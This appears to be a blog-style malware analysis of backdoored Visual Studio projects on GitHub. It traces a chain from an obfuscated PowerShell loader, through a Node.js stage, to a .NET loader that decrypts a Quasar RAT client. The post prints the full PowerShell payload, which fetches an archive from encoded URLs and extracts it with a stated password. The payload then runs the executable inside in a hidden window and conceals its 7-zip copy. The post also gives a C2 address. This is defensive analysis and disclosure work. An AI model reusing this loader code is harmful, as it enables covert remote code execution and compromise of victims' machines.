I was browsing Twitter (X) late at night and noticed a post from @checkymander talking about a user on GitHub with a bunch of interesting repositories, all Visual Studio projects that are backdoored.
Taking a look at this command being executed by Visual Studio we can see that it is putting a bunch of base64 encoded data into a vbs file, along with instructions to decode it.
The instructions then reverse the data put in and base64 decode it.
What we get from that is an interest powershell payload with multiple functions.
function rl { try { p "wr3DqMK3w5vDp2fCl2XCr8OZw6LCnsKNw53Do8OCwqPCtsOQw6bCjsObwq3CrMORw6LCn8OSw7LCo8OHw5XCug==" } catch { x } } function x { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEw5zDncODwqLCpsOaw6Fcw5rCl8K0wpzDssKFwpDCs8OlwrrCt8KI" } catch { l } } function l { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEwqjDmsOEwqPCtcOMw6tcwprCmHLCnsKxY8OFw5zDmMK3w5p1" } catch { o } } function o { try { p "wr3DqMK3w5vDp2fCl2XCr8OSw6fCpcORw7PCosK4w6Nyw57DpsKQw5BjwqfDoMOwwpPDhMOvw6TDg8OowrbDocObwqPDoMKmbMOfw5rCqA==" } catch { Start-Sleep -Seconds 20; rl } }; function p { param ([string]$e) if (-not $e) { return } try { $d = d -mm $e -k $prooc; $r = Invoke-RestMethod -Uri $d; if ($r) { $dl = d -mm $r -k $proc } $g = [System.Guid]::NewGuid().ToString(); $t = [System.IO.Path]::GetTempPath(); $f = Join-Path $t ($g + ".7z"); $ex = Join-Path $t ([System.Guid]::NewGuid().ToString()); $c = New-Object System.Net.WebClient; $b = $c.DownloadData($dl); if ($b.Length -gt 0) { [System.IO.File]::WriteAllBytes($f, $b); e -a $f -o $ex; $exF = Join-Path $ex "SearchFilter.exe"; if (Test-Path $exF) { Start-Process -FilePath $exF -WindowStyle Hidden } if (Test-Path $f) { Remove-Item $f } } } catch { throw } }; $prooc = "UtCkt-h6=my1_zt"; function d { param ([string]$mm, [string]$k) try { $b = [System.Convert]::FromBase64String($mm); $s = [System.Text.Encoding]::UTF8.GetString($b); $d = New-Object char[] $s.Length; for ($i = 0; $i -lt $s.Length; $i++) { $c = $s[$i]; $p = $k[$i % $k.Length]; $d[$i] = [char]($c - $p) }; return -join $d } catch { throw } }; $proc = "qpb9,83M8n@~{ba;W`$,}"; function v { param ([string]$i) $b = [System.Convert]::FromBase64String($i); $s = [System.Text.Encoding]::UTF8.GetString($b); $c = $s -split ' '; $r = ""; foreach ($x in $c) { $r += [char][int]$x }; return $r }; function e { param ([string]$a, [string]$o) $s = "MTA0IDgyIDUxIDk0IDM4IDk4IDUwIDM3IDY1IDU3IDMzIDEwMyA3NSA0MiA1NCA3NiAxMTMgODAgNTUgMTE2IDM2IDc4IDExMiA4Nw=="; $p = v -i $s; $z = "C:\ProgramData\sevenZip\7z.exe"; $arg = "x `"$a`" -o`"$o`" -p$p -y"; Start-Process -FilePath $z -ArgumentList $arg -WindowStyle Hidden -Wait }; $d = "C:\ProgramData\sevenZip"; if (-not (Test-Path "$d\7z.exe")) { New-Item -ItemType Directory -Path $d -Force | Out-Null; $u = "https://www.7-zip.org/a/7zr.exe"; $o = Join-Path -Path $d -ChildPath "7z.exe"; $wc = New-Object System.Net.WebClient; $wc.DownloadFile($u, $o); $wc.Dispose(); Set-ItemProperty -Path $o -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue; Set-ItemProperty -Path $d -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue }; rl
Yes, it's a bit gross but can simply be cleaned up but adding newlines after each semi-colon and separating the functions. With it a bit more readable you can see it is simple executing the 'rl' function, which sets off a whole chain of events. Instead of manually going through I decided to be lazy and do it dynamically using the following code:
From this I was able to get that it reaches out to get 7-zip, if not already installed, and then downloads a 7zip archive from another attacker-controlled GitHub account, specified by the first link it decodes.
After downloading the archive it unzips it with the password 'hR3^&b2%A9!gK*6LqP7t$NpW' and executes the exe inside.
Along with this I also grabbed some of the other URLs it was trying for the link to the GitHub:
This archive is interesting as it was executing a binary that then executed a Node.JS application.
I checked out the contents of the main.js file from the ASAR archive and you can tell its doing something fishy. Just take a peek:
But look at the size of the file and how obfuscated it is, and this is after putting it through a deobfuscator. I wasn't about to reverse this manually either, so I turned to any.run for analysis.
In the run you can see it executes a bunch and is pretty loud but it does some anti-debugging, mainly looking at what programs are running, and then tries to disable Microsoft Defender features. Following this is adds some scheduled tasks and drops some files.
From this run I noticed it drops an executable, which I also did a run on.
From that run I found the C2 IP and port: 178.236.243.173:3473
I now wanted to look into this executable some more though. Luckily any.run allows you to download dropped files and so after downloading it I loaded it into Ghidra andddd....
Ghidra was lost. Luckily I noticed from this that the binary was a .Net assembly and I can use DnSpy to reverse it.
Plugging it into DnSpy you can tell its been obfuscated, at least all the variables, strings, and function names.
It took some digging to find where the magic was happening but I finally found a function doing some decryption of something, presumably the resource attached which seemed encrypted (resources are a common way to attach encrypted payloads to a loader).
After doing putting some pieces together, and compiling my own encryptor binary to generate the same key and IV, I was able to decrypt the resource attached.
The loader is decrypting this in memory and then executing it as to not drop it on disk for scanning.
Just from running strings on the decrypted binary I can see it is another .Net assembly and that it is a Quasar client (a "Free, Open-Source Remote Administration Tool for Windows").
And that is that. Thanks for joining me on this interesting journey in current adversary tactics and malware.